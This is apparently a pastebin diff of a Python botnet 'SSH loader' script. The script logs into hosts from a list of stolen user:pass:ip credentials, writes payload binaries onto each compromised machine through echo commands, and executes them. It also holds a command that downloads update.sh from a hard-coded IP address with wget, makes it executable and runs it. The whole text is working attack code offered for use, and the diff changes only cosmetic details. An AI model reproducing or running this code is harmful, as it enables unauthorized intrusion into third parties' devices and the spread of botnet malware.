View difference between Paste ID: 6YHU385H and tg2EEKCt
SHOW: | | - or go back to the newest paste.
1
#!/usr/bin/python
2-
#Phaaaat hax SSH loader by Freak AKA Milenko
2+
#Phaaaat hax SSH loader by Milenko
3
4
import sys, re, os, paramiko, socket
5
from threading import Thread
6
from time import sleep
7
8
if len(sys.argv) < 2:
9
    sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
10
11
paramiko.util.log_to_file("/dev/null")
12
rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
13
print "\033[31m"
14
15
print "S-S-SUUUPER fast SSH loader by Milenko"
16
print
17
#simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3
18
print "Reads user:pass:ip and simply checks the IP for port 22."
19
print "Then writes loads the bonet onto it and saves the logins with SSH running to \"sshopen.txt\""
20
print "It is VERY fast and extremely efficient."
21
print "As it splits the file into equal chunks for each thread!"
22
23
threads = int(raw_input("Threads: "))
24
25
lines = open(sys.argv[1],"r").readlines()
26
27
fh = open("sshopen.txt","a+")
28
29
def chunkify(lst,n):
30
    return [ lst[i::n] for i in xrange(n) ]
31
32
running = 0
33
34
loaded = 0
35
36
def printStatus():
37
    while 1:
38
        sleep(10)
39
        print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"
40
        if loaded >= 1000:
41
            print "Dayum u got sum phat hax brah :^}"
42
43
def split_utf8(s , n):
44
    assert n >= 4
45
    start = 0
46
    lens = len(s)
47
    while start < lens:
48
        if lens - start <= n:
49
            yield s[start:]
50
            return # StopIteration
51
        end = start + n
52
        while '\x80' <= s[end] <= '\xBF':
53
            end -= 1
54
        assert end > start
55
        yield s[start:end]
56
        start = end
57
58
def haxit(username,password,ip):
59
    try:
60
        port = 22
61
        ssh = paramiko.SSHClient()
62
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
63
        ssh.connect(ip, port = port, username=username, password=password, timeout=3)
64
        print "\033[32m[\033[31m+\033[32m] Echoloading: " + ip + "\033[37m"
65
        ssh.exec_command("cd /tmp")
66
        for file in os.listdir("bins"):
67
            f=open("bins/" + file,"rb")
68
            for hex in split_utf8(f.read(), 10240):
69
               ssh.exec_command("echo -ne " + ''.join(map(lambda c:'\\\\x%02x'%c, map(ord, hex))) + " >> " + file)
70-
               ssh.exec_command("/bin/busybox echo -ne " + ''.join(map(lambda c:'\\\\x%02x'%c, map(ord, hex))) + " >> " + file + "1")
70+
			   ssh.exec_command("/bin/busybox echo -ne " + ''.join(map(lambda c:'\\\\x%02x'%c, map(ord, hex))) + " >> " + file + "1")
71
            ssh.exec_command("chmod 777 " + file)
72-
            ssh.exec_command("/bin/busybox chmod 777 " + file + "1")
72+
			ssh.exec_command("/bin/busybox chmod 777 " + file + "1")
73
            ssh.exec_command("./" + file)
74-
            ssh.exec_command("./" + file + "1")
74+
			ssh.exec_command("./" + file + "1")
75
        print "\033[32m[\033[31m+\033[32m] ECHOLOADED: " + ip + "\033[37m"
76
        sleep(10)
77
        loaded += 1
78
        ssh.close()
79
    except Exception as e:
80
        print str(e)
81
        pass
82
83
def check(chunk, fh):
84
    global running
85
    running += 1
86
    threadID = running
87
    for login in chunk:
88
        if login.startswith("DUP"):
89
            continue # skip DUPS cause fuck em
90
91
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
92
        s.settimeout(3)
93
        try:
94
            s.connect((login.split(":")[2], 22))
95
            s.close()
96
            print "\033[32m[\033[31m+\033[32m] " + login + " has SSH open. Loading..."
97
            haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])
98
            fh.write(login + "\r\n")
99
            fh.flush()
100
        except:
101
            pass
102
    print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded)
103
    running -= 1
104
105
lines = map(lambda s: s.strip(), lines) # remove all newlines
106
107
chunks = chunkify(lines, threads) # make seperate chunk for each thread
108
109
print "STARTING SCAN AND LOAD!!!"
110
111
Thread(target = printStatus, args = ()).start()
112
113
for thread in xrange(0,threads):
114
    if thread >= 384:
115
        time.sleep(0.2)
116
    try:
117
        Thread(target = check, args = (chunks[thread], fh,)).start()
118
    except:
119
        pass
120
print "Scanning... Press enter 3 times to stop."
121
122
for i in range(0,3):
123
    raw_input()
124
125
fh.close()
126
127-
os.kill(os.getpid(),9)
127+
os.popen("kill -9 " + str(os.getpid()))